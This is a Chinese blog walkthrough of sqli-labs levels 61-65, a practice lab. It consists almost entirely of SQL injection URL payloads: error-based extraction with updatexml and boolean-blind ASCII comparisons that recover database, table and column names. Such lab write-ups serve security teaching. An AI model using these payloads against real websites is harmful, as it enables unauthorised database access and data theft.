本文主要是介绍sqli-labs靶场通关攻略(61-65),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
Less-61
步骤一:查看数据库
?id=1')) and updatexml(1,concat(1,(select database())),1)--+
步骤二:查看表名
?id=1')) and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)--+
步骤三:查看users表中列名
?id=1')) and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)--+
Less-62
步骤一:查看数据库
判断数据库的第一个字符:
用ascii码截取数据库的第一位字符 判断第一位字符的ascii码是否大于98 页面显示正常 说明数据库第一位字符ascii码大于98
?id=1') and ascii(substr(database(),1,1))>98--+
判断数据库第一位字符的ascii码是否大于99 页面显示异常 说明不大于 大于98不大于99 说明第一位字符ascii码等于99
?id=1') and ascii(substr(database(),1,1))>99--+
...................................................最终得出challengs
步骤二:查security数据库中第一张表的第一位字符
?id=1') and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100--+
?id=1') and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>101--+
大于100不大于101 说明第一张表的第一位字符等于101 'e' 。
................................最终得出第一张表的表名为emails
步骤三:查看users表中第一个字段的第一位字符
?id=1') and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>104--+
?id=1') and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>105--+
说明users表的第一个字段的第一位字符ascii码为105 'i'
............最终得出users表的第一个字段为id
Less-63
步骤一:查看数据库
判断数据库的第一个字符:
用ascii码截取数据库的第一位字符 判断第一位字符的ascii码是否大于98 页面显示正常 说明数据库第一位字符ascii码大于98
?id=1' and ascii(substr(database(),1,1))>98--+
判断数据库第一位字符的ascii码是否大于99 页面显示异常 说明不大于 大于98不大于99 说明第一位字符ascii码等于99
?id=1' and ascii(substr(database(),1,1))>99--+
...................................................最终得出challengs
步骤二:查security数据库中第一张表的第一位字符
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100--+
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>101--+
大于100不大于101 说明第一张表的第一位字符等于101 'e' 。
................................最终得出第一张表的表名为emails
步骤三:查看users表中第一个字段的第一位字符
?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>104--+
?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>105--+
说明users表的第一个字段的第一位字符ascii码为105 'i'
............最终得出users表的第一个字段为id
Less-64
步骤一:查看数据库
判断数据库的第一个字符:
用ascii码截取数据库的第一位字符 判断第一位字符的ascii码是否大于98 页面显示正常 说明数据库第一位字符ascii码大于98
?id=1)) and ascii(substr(database(),1,1))>98--+
判断数据库第一位字符的ascii码是否大于99 页面显示异常 说明不大于 大于98不大于99 说明第一位字符ascii码等于99
?id=1)) and ascii(substr(database(),1,1))>99--+
...................................................最终得出challengs
步骤二:查security数据库中第一张表的第一位字符
?id=1)) and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100--+
?id=1)) and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>101--+
大于100不大于101 说明第一张表的第一位字符等于101 'e' 。
................................最终得出第一张表的表名为emails
步骤三:查看users表中第一个字段的第一位字符
?id=1)) and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>104--+
?id=1)) and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>105--+
说明users表的第一个字段的第一位字符ascii码为105 'i'
............最终得出users表的第一个字段为id
Less-65
步骤一:查看数据库
判断数据库的第一个字符:
用ascii码截取数据库的第一位字符 判断第一位字符的ascii码是否大于98 页面显示正常 说明数据库第一位字符ascii码大于98
?id=1") and ascii(substr(database(),1,1))>98--+
判断数据库第一位字符的ascii码是否大于99 页面显示异常 说明不大于 大于98不大于99 说明第一位字符ascii码等于99
?id=1") and ascii(substr(database(),1,1))>99--+
...................................................最终得出challengs
步骤二:查security数据库中第一张表的第一位字符
?id=1") and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100--+
?id=1") and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>101--+
大于100不大于101 说明第一张表的第一位字符等于101 'e' 。
................................最终得出第一张表的表名为emails
步骤三:查看users表中第一个字段的第一位字符
?id=1") and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>104--+
?id=1") and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>105--+
说明users表的第一个字段的第一位字符ascii码为105 'i'
............最终得出users表的第一个字段为id
这篇关于sqli-labs靶场通关攻略(61-65)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!